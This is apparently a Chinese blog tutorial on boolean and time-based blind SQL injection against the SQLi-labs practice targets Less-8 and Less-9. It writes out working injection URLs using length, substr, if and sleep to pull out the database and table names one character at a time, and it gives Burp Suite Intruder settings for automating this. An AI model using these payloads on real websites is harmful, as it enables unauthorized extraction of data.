SQL注入盲注(布尔、时间)手工注入和半自动化注入

 

目录

一、SQL盲注概述

二、SQL盲注常用函数

三、基于布尔盲注的实例

a、布尔盲注流程:(手动猜测)

1、闭合方式判断

2、判断数据库长度

3、猜测数据库的第一个字符(substr函数)

4、猜测猜测security数据库中第一表的长度

5、猜测security数据库中第一表的的第一个字符(substr函数)

以此类推 。。。。

b、布尔盲注半自动化注入(burpsuite)

1、burpsuite抓取判断数据库第一个字符的包

 2、发送到Intruder(暴力破解模块)

五、基于时间盲注的实例

 a、时间盲注流程:(手动猜测)

1、判断数据库长度

2、判断数据库第一个字符

3、判断数据库security数据库中第一个表长度

b、时间盲注半自动化注入(burpsuite)

1、burpsuite抓取判断数据库第一个字符的包

2、设置爆破参数

3、排序响应包



一、SQL盲注概述

基于布尔的盲注

某些场合下,页面返回的结果只有两种(正确或错误)。通过构造SQL判断语句,查看页面的返回结果(Ture or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。

基于时间的盲注

又称延时注入,即使用延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

二、SQL盲注常用函数

a、if()

功能:条件判断

语法格式:if(expr1,expr2,expr3)  expr1为ture则返回expr2,expr1为false则返回expr3.

注:仅仅MySQL支持if(expr1,expr2,expr3)

 

b、length()

功能:发挥字符串的长度,以字节为单位

语法格式:length(str)

 

c、substr()、substring()

功能:从指定的位置开始,截取字符串指定长度的字符串

 语法格式:substr(str,pos) 或者substr(str,pos,len)

                   substring(str,pos)或者substring(str,pos,len)

参数说明:str:要提取字串的字符串

                  pos:提取字串的开始位置

                  len:指定要提取的长度

 

 d、延时函数sleep()

功能:让语句延迟执行一段时间,执行成功后返回0

语法格式:sleep(N),即延迟执行N秒

三、基于布尔盲注的实例

目标靶机:SQLi-labd less-8

典型应用场景:Web页面仅仅返回类似True或False的两种结果。

注入方式:进行SQL注入之后,根据页面返回的True或者False来得到数据库中的数据。

id=1 结果为真

id=-1 结果为假

a、布尔盲注流程:(手动猜测)

1、闭合方式判断

id=1'        结果为假

id=1' --+    结果为真 (单引号闭合)

2、判断数据库长度

/Less-8/?id=1' and length(database())>8 --+

 

/Less-8/?id=1' and length(database())=8 --+                             ##可知当前数据库字符数为8

3、猜测数据库的第一个字符(substr函数)

/?id=1' and substr(database(),1,1)='a' --+

/?id=1' and substr(database(),1,1)='s' --+                                 ##可知数据库第一个字符为's'

依此类推:

/?id=1' and substr(database(),2,1)='e' --+

   

 /?id=1' and substr(database(),3,1)='c' --+

 。。。。。。 得出数据库8个字符为'security'

4、猜测猜测security数据库中第一表的长度

Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security'  limit 0,1))=6 --+

以此类推 第二表,第三张表。。。。

5、猜测security数据库中第一表的的第一个字符(substr函数)

/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security'  limit 0,1),1,1)='s' --+

以此类推 。。。。

b、布尔盲注半自动化注入(burpsuite)

以猜测数据库名为列

1、burpsuite抓取判断数据库第一个字符的包

/Less-8/?id=1' and substr(database(),1,1)='s' --+(抓包之前先执行一些判断参数一定正确)

 2、发送到Intruder(暴力破解模块)

要查看数据库第一个字符到第八个字符,每个位置的字符不定。

在暴力破解模块,模式为Cluster bomb

参数为两个,第一个为数据库的第几个字符,第二个为当前字符。

因为有当前数据库字符数为8,所以第一个参数为1~8,部长为1,第二个参数为数据库的字符(随机的),笔者这里是选择的全小写字母(因为笔者知道数据库名称)

然后点击右边的Start attack

默认排序

所以我们点击一些length,让其在length之列排序

 可见数据库每个位置的字符,都已经暴力破解出来

根据顺序数据库名为 : security

五、基于时间盲注的实例

原理:

 if(    length(    database()  )=8  ,     sleep(10)      ,     sleep(0)   )    拆分开的

如果数据库长度等于8,网页则会延迟10秒回显,否则延迟0秒

目标靶机:SQLi-labd less-9

 典型应用场景:Web页面仅仅返回类似True

 注入方式:进行SQL注入之后,根据页面时间延迟的现象来获取数据库中的数据。

 id=1 (真)

 id=adjflksjod (真)

 a、时间盲注流程:(手动猜测)

1、判断数据库长度

http:/ip/sqli-labs-master/Less-9?id=1' and if(length(database())=8,sleep(10),0) --+

当执行命令后,网页会延迟10,才正常回显。

可以按F12键,网络选项中,查看回显时间

2、判断数据库第一个字符

/?id=1' and  if(substr(database(),1,1)='s',sleep(10),3)--+ (可知第一个字符为s)

 以此类推 数据库名为security

3、判断数据库security数据库中第一个表长度

?id=1'  and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6,sleep(5),1)--+

以此类推 第一张表

/?id=1' and  if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(10),3)--+

以此类推,第一张表为emails,第二张,第三张。。。。

b、时间盲注半自动化注入(burpsuite)

以猜测数据库名为列(默认知道数据库长度为8 )

1、burpsuite抓取判断数据库第一个字符的包

把数据包发送intruder模块

在暴力破解模块中,模式为Cluster bomb

参数为两个,第一个为数据库的第几个字符,第二个为当前字符。

2、设置爆破参数

第一个参数字典为1~8

第二个参数字典为a~z (在实战中,数据库名不一定全是小写字母)

3、排序响应包

点击Start attack

默认排序,不能观察

设置一下,就可以看出效果。

点击最上面Columns选项,里面的Response received,点击后就会多出一列

 点击Response received 

根据顺序,可得出数据库名为 security 

以此类推 表长度,表名。字段长度,字段名。。。。

 

 

 

 

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值